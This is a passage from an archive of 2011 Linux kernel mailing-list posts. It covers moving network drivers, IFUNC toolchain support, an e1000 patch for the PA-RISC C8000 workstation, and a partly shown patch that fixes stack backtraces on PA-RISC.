	id S1751678Ab1FYSLX (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
	Sat, 25 Jun 2011 14:11:23 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP; 25 Jun 2011 11:11:22 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.65,425,1304319600"; 
   d="asc'?scan'208";a="22877923"
Original-Received: from unknown (HELO [10.255.13.176]) ([10.255.13.176])
  by fmsmga001.fm.intel.com with ESMTP; 25 Jun 2011 11:11:21 -0700
In-Reply-To: <20110625161353.GA20976@linux-mips.org>
X-Mailer: Evolution 3.0.2 (3.0.2-2.fc15) 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:2517 gmane.linux.network:199797 gmane.linux.ports.parisc:3814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/2517>


--=-BqP0rTRzPe22vc5yVcBs
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Sat, 2011-06-25 at 09:13 -0700, Ralf Baechle wrote:
> On Sat, Jun 25, 2011 at 06:59:05AM -0700, Jeff Kirsher wrote:
>=20
> > Move the MIPS drivers into drivers/net/ethernet/mips/ and
> > make the necessary Kconfig and Makefile changes.
>=20
> NAck.
>=20
> sni_82596.c is a driver for the same chip but used in particular
> Siemens-
> Nixdorf systems.  Lasi_82596 is an Intel NIC being used in PARISC
> systems.
> Not a good reason th throw PA-RISC drivers into the same directory
> after
> all PA-RISC has no relation to MIPS at all.  So maybe they should go
> into
> drivers/net/ethernet/i82596 or drivers/net/ethernet/intel.  And
> wherever
> they go, both drivers #include lib82596.c which your patch did not
> move
> around.=20

My bad, I had grouped these drivers because they both used lib82596.c
and had thought I had moved that file as well.

--=-BqP0rTRzPe22vc5yVcBs
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQEcBAABAgAGBQJOBiTJAAoJECTsCADr/EWUUicH/iWVNtJdmOkrW7NNOdzV83ao
xowwQBCpvdAk9TrM5JbJRYHQftSHry4viHyMfO+RDC0VT8d1LGlgqHCJ3Y+1oQob
ibIG8uUGdSX1XdF3/LWdDXkLNSfsboV5wEnlYMW5zY0Wp3ETXdO4SN5Vp5O37EVl
YnUfkUR64dEot+8t5tKqAdjfXLcDZIex02lzfjtpDub5TAqoEGBNjAY1vTSakDBt
9ZlEluDAKJ1HU6+a9DcpW1r/BBCaFsQVOcRqOxi/mStbsCkvIajlj4qIbJP0U7ng
741GoMqR31oZkR5nqcqvGcJm8/WZEATj8y4Zk/+CTzamkTSN5i/hUsR2TuTaTe0=
=+nyO
-----END PGP SIGNATURE-----

--=-BqP0rTRzPe22vc5yVcBs--


From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: IFUNC* support?
Date: Sun, 26 Jun 2011 15:53:10 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <BANLkTinZNXmV_Vw8rSL04H+wAGruzDspbA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1309118156 9574 80.91.229.12 (26 Jun 2011 19:55:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 26 Jun 2011 19:55:56 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 26 21:55:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QavQt-0006XH-V6
	for glpp-linux-parisc@lo.gmane.org; Sun, 26 Jun 2011 21:55:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754241Ab1FZTzT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Jun 2011 15:55:19 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:62653 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754487Ab1FZTxL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Jun 2011 15:53:11 -0400
Original-Received: by ewy4 with SMTP id 4so1382304ewy.19
        for <linux-parisc@vger.kernel.org>; Sun, 26 Jun 2011 12:53:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:date:x-google-sender-auth
         :message-id:subject:from:to:content-type;
        bh=QqhBb9CFQ8CgrFInKbvDolmpj5bTiRZkBJHFmEoYJdI=;
        b=mExIlJFLml5we184nj6igOKD67mz0fKZAoTAj4p3unaO9FR8punlQ9nb6T4OkDhFRY
         AAQ94bsUTugKlMiru4wHOQHk75FXrQa6kj/MZ04BRpB3uM0iNnwBhCwFa8TjNDnU/3NC
         n93lFtyVO417AhRTwzKuJW5YppZkFzisy81OY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=opYkhoM6VWj2pANZg/AbwDr1L0gTtpnxWHlEgeRuxvU37qEz9He4zvOtbZjtsviCj5
         6x3oiiLgUBtXBPuN1FdIqTmiCS3ciH3PGRSCO0NpnVFRBjt8TXMIo9RzF7xdZ33eRyg3
         nhWAIREFy84aVZGF0dsyfzOt2T4/uRsRENEXY=
Original-Received: by 10.14.43.16 with SMTP id k16mr3491635eeb.200.1309117990199; Sun,
 26 Jun 2011 12:53:10 -0700 (PDT)
Original-Received: by 10.14.100.7 with HTTP; Sun, 26 Jun 2011 12:53:10 -0700 (PDT)
X-Google-Sender-Auth: S3Vl9ATa7Z3DzAVWkXOuRLUMNSk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3815>

Dave,

Have you played with any of the indirect function support in the tools yet?

Recent changes by Dave Miller have forced me to look into supporting IFUNC*.

It looks relatively easy, I was just wondering if there was anything I
should watch out for on the compiler side?

Cheers,
CArlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: IFUNC* support?
Date: Sun, 26 Jun 2011 20:08:33 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20110627000834.7619B4FCB@hiauly1.hia.nrc.ca>
References: <BANLkTinZNXmV_Vw8rSL04H+wAGruzDspbA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1309133385 18467 80.91.229.12 (27 Jun 2011 00:09:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Jun 2011 00:09:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, dave.anglin@nrc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 27 02:09:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QazOW-0005bG-PB
	for glpp-linux-parisc@lo.gmane.org; Mon, 27 Jun 2011 02:09:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755372Ab1F0AJH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 26 Jun 2011 20:09:07 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1063 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754178Ab1F0AIg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 26 Jun 2011 20:08:36 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7619B4FCB; Sun, 26 Jun 2011 20:08:33 -0400 (EDT)
In-Reply-To: <BANLkTinZNXmV_Vw8rSL04H+wAGruzDspbA@mail.gmail.com> from "Carlos O'Donell" at Jun 26, 2011 03:53:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3816>

> Have you played with any of the indirect function support in the tools yet?
> 
> Recent changes by Dave Miller have forced me to look into supporting IFUNC*.
> 
> It looks relatively easy, I was just wondering if there was anything I
> should watch out for on the compiler side?

I'm not familiar with this.  I did a quick scan and it doesn't seem
that any GCC backends do anything special wrt IFUNC_ASM_TYPE.  There
is an ifunc attribute which is used to mark a function with the
STT_GNU_IFUNC symbol type.  So, I think support is mainly in binutils.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.network,gmane.linux.drivers.e1000.devel,gmane.linux.ports.parisc
Subject: Re: [E1000-devel] [PATCH] e1000: Allow the driver to be used on PA RISC C8000 workstation
Date: Mon, 27 Jun 2011 20:42:13 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <1793556.1X3EUabhs6@donald.sf-tec.de>
References: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com> <1538517.jd8kKEpd3f@donald.sf-tec.de> <2567734.3Tpd1BeV4a@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1841349.UNopVYvNRc"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: quoted-printable
X-Trace: dough.gmane.org 1309200155 30921 80.91.229.12 (27 Jun 2011 18:42:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Jun 2011 18:42:35 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	"Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"e1000-devel@lists.sourceforge.net" 
	<e1000-devel@lists.sourceforge.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"mikulas@artax.karlin.mff.cuni.cz" <mikulas@artax.karlin.mff.cuni.cz>,
	netdev@vger.kernel.org
To: Jesse Brandeburg <jesse.brandeburg@gmail.com>
Original-X-From: netdev-owner@vger.kernel.org Mon Jun 27 20:42:28 2011
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1QbGlP-0007qk-VE
	for linux-netdev-2@lo.gmane.org; Mon, 27 Jun 2011 20:42:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753061Ab1F0SmQ (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Mon, 27 Jun 2011 14:42:16 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:44157 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752961Ab1F0SmN (ORCPT <rfc822;netdev@vger.kernel.org>);
	Mon, 27 Jun 2011 14:42:13 -0400
Original-Received: (qmail 17585 invoked from network); 27 Jun 2011 18:42:12 -0000
Original-Received: from dslb-178-003-064-039.pools.arcor-ip.net ([::ffff:178.3.64.39] HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <jesse.brandeburg@gmail.com>; Mon, 27 Jun 2011 18:42:12 +0000
User-Agent: KMail/4.6.0 (Linux/2.6.37-12-desktop; KDE/4.6.4; i686; ; )
In-Reply-To: <2567734.3Tpd1BeV4a@donald.sf-tec.de>
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:199933 gmane.linux.drivers.e1000.devel:8613 gmane.linux.ports.parisc:3817
Archived-At: <http://permalink.gmane.org/gmane.linux.network/199933>


--nextPart1841349.UNopVYvNRc
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="ISO-8859-1"

Rolf Eike Beer wrote:
> Am Freitag, 18. M=E4rz 2011, 17:39:57 schrieb Rolf Eike Beer:
> > Am Mittwoch, 2. M=E4rz 2011, 21:19:24 schrieb Jesse Brandeburg:
> > > On Mon, Feb 28, 2011 at 5:40 AM, Guy Martin <gmsoft@tuxicoman.be>=
 wrote:
> > > > Hi Jeff,
> > > >=20
> > > > Any luck getting this into mainline ?
> > >=20
> > > Hi Guy, sorry for the delay,
> > > We haven't been able to get our contacts in HP to give us a decen=
t
> > > response so far, we are following up with them to see whats up.  =
We
> > > have not lost the patch and are still tracking it internally.
> > >=20
> > > Give us a couple more weeks if that is okay and we should be able=
 to
> > > settle this by then.
> >=20
> > I wonder what exactly you are waiting for? This is a sanity check t=
hat
> > we
> > disable, so no working systems could get broken by this. And every
> > single
> > C8000 seems to be affected by this and is working fine with that pa=
tch.
> > So maybe people at HP might have a clue _why_ this is screwed, but
> > until then I don't see any point in waiting.
> >=20
> > So please just add my tested-by and push this upstream soon. Since =
this
> > is basically a hardware quirk I would like to get this into stable =
also
> > so we may run vanilla 2.6.38.1 or something like that on C8000.
> >=20
> > Tested-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
>=20
> For the netdev folks: it's this patch we are talking about
>=20
> http://www.spinics.net/lists/linux-parisc/msg03091.html
>=20
> I would love to see that someone finally picks this up and pushes thi=
s
> upstream, CC stable. This is absolutely annoying as it breaks every t=
ime
> anyone touches the kernel on one of this machines.
>=20
> Jeff, David, James: can you please make a decision of who takes this =
and
> then just do it?

Ping?
--nextPart1841349.UNopVYvNRc
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk4IzwoACgkQXKSJPmm5/E6OMgCfTwhe6TGgtXF1RhKMQnUwstRc
aRMAni32uPD+RUBsPA3SMiojgmDNogDT
=zdUg
-----END PGP SIGNATURE-----

--nextPart1841349.UNopVYvNRc--

--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.drivers.e1000.devel,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] e1000: Allow the driver to be used on PA
 RISC C8000 workstation
Date: Mon, 27 Jun 2011 15:33:43 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <BANLkTimbhOpp624KKU0dEE63mkAC1SDMAg@mail.gmail.com>
References: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com>
	<1538517.jd8kKEpd3f@donald.sf-tec.de>
	<2567734.3Tpd1BeV4a@donald.sf-tec.de>
	<1793556.1X3EUabhs6@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: dough.gmane.org 1309203258 17525 80.91.229.12 (27 Jun 2011 19:34:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Jun 2011 19:34:18 +0000 (UTC)
Cc: "kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"e1000-devel@lists.sourceforge.net" <e1000-devel@lists.sourceforge.net>,
	netdev@vger.kernel.org, Guy Martin <gmsoft@tuxicoman.be>,
	"mikulas@artax.karlin.mff.cuni.cz" <mikulas@artax.karlin.mff.cuni.cz>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: e1000-devel-bounces@lists.sourceforge.net Mon Jun 27 21:34:12 2011
Return-path: <e1000-devel-bounces@lists.sourceforge.net>
Envelope-to: glded-e1000-devel@m.gmane.org
Original-Received: from lists.sourceforge.net ([216.34.181.88])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <e1000-devel-bounces@lists.sourceforge.net>)
	id 1QbHZT-0007pc-86
	for glded-e1000-devel@m.gmane.org; Mon, 27 Jun 2011 21:34:11 +0200
Original-Received: from localhost ([127.0.0.1] helo=sfs-ml-1.v29.ch3.sourceforge.com)
	by sfs-ml-1.v29.ch3.sourceforge.com with esmtp (Exim 4.76)
	(envelope-from <e1000-devel-bounces@lists.sourceforge.net>)
	id 1QbHZS-0000Is-PB; Mon, 27 Jun 2011 19:34:10 +0000
Original-Received: from sog-mx-3.v43.ch3.sourceforge.com ([172.29.43.193]
	helo=mx.sourceforge.net)
	by sfs-ml-1.v29.ch3.sourceforge.com with esmtp (Exim 4.76)
	(envelope-from <mattst88@gmail.com>) id 1QbHZR-0000Ij-VT
	for e1000-devel@lists.sourceforge.net; Mon, 27 Jun 2011 19:34:09 +0000
Received-SPF: pass (sog-mx-3.v43.ch3.sourceforge.com: domain of gmail.com
	designates 209.85.212.47 as permitted sender)
	client-ip=209.85.212.47; envelope-from=mattst88@gmail.com;
	helo=mail-vw0-f47.google.com; 
Original-Received: from mail-vw0-f47.google.com ([209.85.212.47])
	by sog-mx-3.v43.ch3.sourceforge.com with esmtps (TLSv1:RC4-SHA:128)
	(Exim 4.76) id 1QbHZQ-0004LW-Qd
	for e1000-devel@lists.sourceforge.net; Mon, 27 Jun 2011 19:34:09 +0000
Original-Received: by vws2 with SMTP id 2so5351181vws.34
	for <e1000-devel@lists.sourceforge.net>;
	Mon, 27 Jun 2011 12:34:03 -0700 (PDT)
Original-Received: by 10.52.24.66 with SMTP id s2mr8723889vdf.196.1309203243062; Mon,
	27 Jun 2011 12:34:03 -0700 (PDT)
Original-Received: by 10.52.158.168 with HTTP; Mon, 27 Jun 2011 12:33:43 -0700 (PDT)
In-Reply-To: <1793556.1X3EUabhs6@donald.sf-tec.de>
X-Spam-Score: -0.8 (/)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	-1.5 SPF_CHECK_PASS SPF reports sender host as permitted sender for
	sender-domain
	0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
	(mattst88[at]gmail.com)
	-0.0 SPF_PASS               SPF: sender matches SPF record
	0.1 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
	digit (mattst88[at]gmail.com)
	-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
	author's domain
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
	0.7 AWL AWL: From: address is in the auto white-list
X-Headers-End: 1QbHZQ-0004LW-Qd
X-BeenThere: e1000-devel@lists.sourceforge.net
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: "e100/e1000\(e\)/ixgb/igb/ixgbe development and discussion"
	<e1000-devel.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/e1000-devel>, 
	<mailto:e1000-devel-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=e1000-devel>
List-Post: <mailto:e1000-devel@lists.sourceforge.net>
List-Help: <mailto:e1000-devel-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/e1000-devel>,
	<mailto:e1000-devel-request@lists.sourceforge.net?subject=subscribe>
Errors-To: e1000-devel-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.drivers.e1000.devel:8615 gmane.linux.ports.parisc:3818 gmane.linux.network:199938
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.e1000.devel/8615>

On Mon, Jun 27, 2011 at 2:42 PM, Rolf Eike Beer <eike-kernel@sf-tec.de> wro=
te:
> Rolf Eike Beer wrote:
>> Am Freitag, 18. M=E4rz 2011, 17:39:57 schrieb Rolf Eike Beer:
>> > Am Mittwoch, 2. M=E4rz 2011, 21:19:24 schrieb Jesse Brandeburg:
>> > > On Mon, Feb 28, 2011 at 5:40 AM, Guy Martin <gmsoft@tuxicoman.be> wr=
ote:
>> > > > Hi Jeff,
>> > > >
>> > > > Any luck getting this into mainline ?
>> > >
>> > > Hi Guy, sorry for the delay,
>> > > We haven't been able to get our contacts in HP to give us a decent
>> > > response so far, we are following up with them to see whats up. =A0We
>> > > have not lost the patch and are still tracking it internally.
>> > >
>> > > Give us a couple more weeks if that is okay and we should be able to
>> > > settle this by then.
>> >
>> > I wonder what exactly you are waiting for? This is a sanity check that
>> > we
>> > disable, so no working systems could get broken by this. And every
>> > single
>> > C8000 seems to be affected by this and is working fine with that patch.
>> > So maybe people at HP might have a clue _why_ this is screwed, but
>> > until then I don't see any point in waiting.
>> >
>> > So please just add my tested-by and push this upstream soon. Since this
>> > is basically a hardware quirk I would like to get this into stable also
>> > so we may run vanilla 2.6.38.1 or something like that on C8000.
>> >
>> > Tested-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
>>
>> For the netdev folks: it's this patch we are talking about
>>
>> http://www.spinics.net/lists/linux-parisc/msg03091.html
>>
>> I would love to see that someone finally picks this up and pushes this
>> upstream, CC stable. This is absolutely annoying as it breaks every time
>> anyone touches the kernel on one of this machines.
>>
>> Jeff, David, James: can you please make a decision of who takes this and
>> then just do it?
>
> Ping?

Ping indeed. Waiting as if HP is going to say "yes, we fucked that up.
Go ahead with the patch." is silly.

---------------------------------------------------------------------------=
---
All of the data generated in your IT infrastructure is seriously valuable.
Why? It contains a definitive record of application performance, security =

threats, fraudulent activity, and more. Splunk takes this data and makes =

sense of it. IT sense. And common sense.
http://p.sf.net/sfu/splunk-d2d-c2
_______________________________________________
E1000-devel mailing list
E1000-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/e1000-devel
To learn more about Intel&#174; Ethernet, visit http://communities.intel.co=
m/community/wired


From - Thu Nov 08 21:07:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix backtrace on PA-RISC
Date: Wed, 29 Jun 2011 00:48:19 +0200 (CEST)
Lines: 119
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1106290043170.32272@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1309301774 19065 80.91.229.12 (28 Jun 2011 22:56:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Jun 2011 22:56:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 29 00:56:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QbhCT-0006O3-Au
	for glpp-linux-parisc@lo.gmane.org; Wed, 29 Jun 2011 00:56:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751642Ab1F1W4I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Jun 2011 18:56:08 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:48736 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751237Ab1F1W4I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Jun 2011 18:56:08 -0400
X-Greylist: delayed 465 seconds by postgrey-1.27 at vger.kernel.org; Tue, 28 Jun 2011 18:56:07 EDT
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 2621898055; Wed, 29 Jun 2011 00:48:19 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 210B09804B;
	Wed, 29 Jun 2011 00:48:19 +0200 (CEST)
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3819
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3819>

Hi

This patch fixes frame unwind on PA-RISC.

Prior to the patch, stack backtraces often caused crashes and this 
resulted in recursive page faults.

Mikulas

---

This patch fixes backtrace on PA-RISC

There were several problems:

1) The code that decodes instructions handles instructions that subtract
from the stack pointer incorrectly. If the instruction subtracts the number X
from the stack pointer the code increases the frame size by (0x100000000-X).
This results in invalid accesses to memory and recursive page faults.

2) Becuase gcc reorders blocks, handling instructions that subtract from the
frame pointer is incorrect. For example, this function
"int f(int a)
{
	if (__builtin_expect(a, 1))
		return a;
	g();
	return a;
}"
is compiled in such a way, that the code that decreases the stack pointer for
the first "return a" is placed before the code for "g" call. If we recognize
this decrement, we mistakenly believe that the frame size for the "g" call
is zero.

To fix problems 1) and 2), the patch doesn't recognize instructions that
decrease the stack pointer at all. To further safeguard the unwind code
against nonsense values, we don't allow frame size larger than
Total_frame_size.

3) The backtrace is not locked. If stack dump races with module unload,
invalid table can be accessed.

This patch adds a spinlock when processing module tables.

Note, that for correct backtrace, you need recent binutils.
Binutils 2.18 from Debian 5 produce garbage unwind tables.
Binutils 2.21 work better (it sometimes forgets function frames, but at 
least it doesn't generate garbage).

Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>

---
 arch/parisc/kernel/unwind.c |   22 ++++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)

Index: linux-2.6.39-fast/arch/parisc/kernel/unwind.c
===================================================================
--- linux-2.6.39-fast.orig/arch/parisc/kernel/unwind.c	2011-06-28 18:15:14.000000000 +0200
+++ linux-2.6.39-fast/arch/parisc/kernel/unwind.c	2011-06-29 00:24:43.000000000 +0200
@@ -75,7 +75,10 @@ find_unwind_entry(unsigned long addr)
 	if (addr >= kernel_unwind_table.start && 
 	    addr <= kernel_unwind_table.end)
 		e = find_unwind_entry_in_table(&kernel_unwind_table, addr);
-	else 
+	else {
+		unsigned long flags;
+
+		spin_lock_irqsave(&unwind_lock, flags);
 		list_for_each_entry(table, &unwind_tables, list) {
 			if (addr >= table->start && 
 			    addr <= table->end)
@@ -86,6 +89,8 @@ find_unwind_entry(unsigned long addr)
 				break;
 			}
 		}
+		spin_unlock_irqrestore(&unwind_lock, flags);
+	}
 
 	return e;
 }
@@ -305,18 +310,16 @@ static void unwind_frame_regs(struct unw
 
 			insn = *(unsigned int *)npc;
 
